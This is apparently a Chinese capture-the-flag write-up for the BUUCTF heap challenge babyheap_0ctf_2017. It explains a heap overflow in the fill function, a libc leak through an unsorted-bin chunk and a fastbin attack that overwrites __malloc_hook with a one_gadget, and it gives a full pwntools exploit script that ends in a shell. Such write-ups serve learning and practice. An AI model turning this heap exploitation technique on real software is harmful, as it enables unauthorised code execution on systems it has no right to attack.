BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017

checksec一下,堆题果然是保护全开
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

IDA打开看看,首先mmap一块随机区域,用于存放我们申请的块的属性,然后输出菜单,有allocate、fill、free、dump功能
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

可以注意到,在创建堆的时候,将堆的地址和大小存放在了mmap的区域中,并且使用的是calloc,会将申请的内存区域清零
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

漏洞点在fill函数中,没有限制输入内容的长度,从而可以堆溢出
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

删除堆后会将指针置零
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

输出堆内容的长度是由创建堆时指定的
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

泄露libc地址的思路是,当只有一个unsorted bin时,该chunk的fd和bk均指向main_arena+0x58,而同一个libc中main_arena的偏移是固定的,因此可以计算获得libc地址
首先free 2个fast bin,第二个fast bin的fd会指向第一个fast bin,通过堆溢出修改fd指向unsorted bin、修改unsorted bin的size,再allocate 2个fast bin,第二个fast bin会和unsorted bin重叠,此时通过堆溢出修改unsorted bin的size并free,就可以从第二个fast bin中dump出unsorted bin的fd
拿到libc地址后可以考虑通过fast bin attack写malloc_hook,先allocate并free将unsorted bin转成fast bin,然后通过fill第二个fast bin写fd指向malloc_hook附近的地址,再allocate 2个fast bin,新的第二个fast bin会位于malloc_hook附近,利用fill将malloc_hook改为one_gadget,下次allocate时就能拿到shell
在malloc_hook附近找伪chunk时,可以注意到0x7f满足大小为0x60、0x68的fast bin,可以通过不对齐内存,利用0x7f和7个0x00拼凑出一个64位整型来作为伪chunk的size(注意这里是小端序,数字应该两位两位的倒过来看)
BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017
文章图片

from pwn import * from LibcSearcher import *context.os='linux' context.arch='amd64' context.log_level='debug'rl=lambda :io.recvline() rn=lambda x:io.recv(x) sla=lambda x,y:io.sendlineafter(x,y)def add(size): sla('Command: ','1') sla('Size: ',str(size))def fill(index,content): sla('Command: ','2') sla('Index: ',str(index)) sla('Size: ',str(len(content))) sla('Content: ',content)def free(index): sla('Command: ','3') sla('Index: ',str(index))def dump(index): sla('Command: ','4') sla('Index: ',str(index))io=remote('xxx',xxx)add(0x20) add(0x20) add(0x20) add(0x20) add(0x100) free(1) free(2) fill(0,p64(0)*5+p64(0x31)+p64(0)*5+p64(0x31)+p8(0xc0)) fill(3,p64(0)*5+p64(0x31)) add(0x20) add(0x20) fill(3,p64(0)*5+p64(0x111)) add(0x20) free(4) dump(2) rl() libc_base=u64(rn(8))-(0x3c4b20+0x58) add(0x60) free(4) fill(2,p64(libc_base+0x3c4b10-0x23)) add(0x60) add(0x60) fill(6,p64(0)*2+p8(0)*3+p64(libc_base+0x4526a)) add(0x20)io.interactive()

【BUUCTF|【BUUCTF - PWN】babyheap_0ctf_2017】附件:babyheap_0ctf_2017

    推荐阅读